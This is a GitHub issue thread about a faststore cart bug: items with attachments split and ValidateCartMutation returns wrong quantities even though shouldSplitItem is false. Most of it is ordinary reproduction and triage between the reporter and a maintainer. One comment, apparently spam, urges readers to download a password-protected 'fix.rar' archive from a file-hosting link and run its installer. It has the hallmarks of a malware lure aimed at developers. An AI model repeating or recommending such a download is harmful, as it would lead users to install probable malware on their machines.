vtex / faststore

Digital commerce toolkit for frontend developers
https://faststore.dev
MIT License
191 stars 61 forks source link

shouldSplitItem not working on ValidateCartMutation with attachment #2426

Open raphaelsantos-dev opened 2 months ago

raphaelsantos-dev commented 2 months ago

Describe the bug I have the cart configured to not split products on faststore.config.js cart: { id: "", items: [], messages: [], shouldSplitItem: false, },

When I change the quantity a product with a attachment on miniCart, the product is splited.
This quantity is changed by cartStore.updateItemQuantit from sdk

import { cartStore } from 'src/sdk/cart' cartStore.updateItemQuantity(item.id, quantity)

This split create a bug scenario, the request sent a quantity 2 on ValidateCartMutation, but response has a quantity 4 image image

.har file compressed to validation sfj-51cd395--farewayqa.preview.vtex.app_Archive [24-08-26 13-37-54].har.zip

Expected behavior Product with attachment not split on orderForm when quantity is changed

Steps to reproduce

Workspace https://sfj-51cd395--farewayqa.preview.vtex.app

dseynhae commented 2 months ago

Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."

lucasfp13 commented 1 month ago

Hi @raphaelsantos-dev , sorry for the delay. Could you confirm if is it still happening? I'm trying to reproduce using the vtex.app domain (for the farewayqa account) and the product SKU 2, USDA Choice Whole Boneless Ribeye adding a note (I'm considering that as an attachment), changing quantities and observing the mutation response and didn't notice the wrong quantity.

raphaelsantos-dev commented 1 month ago

Hi @lucasfp13, the error still happening.

Every product in the store is added to the cart from the PLP or PDP with an attachment PNP_ItemPickingOptions. If you change the quantity without adding a note, you can see the split in the API or checkout https://farewayqa.myvtex.com/api/checkout/pub/orderForm/619b17fc1b554bacb19092b1bdbf8ecc. (This split is not shown in the Faststore cart.)

When you add a note to the cart (attachment PNP_Note), this action merges the split item. If you change the quantity again, the mutation response is different from the payload.

Please follow these steps while checking the orderform API with each step:

lucasfp13 commented 1 month ago

@raphaelsantos-dev ohh ok the split behavior you mentioned happens in the Checkout, right? Got it, I'll validate that thank you

raphaelsantos-dev commented 1 month ago

@lucasfp13 Yes, looking on faststore hook we have a single item not splited, but on orderform api, checkout and my orders, the item is splited. image

image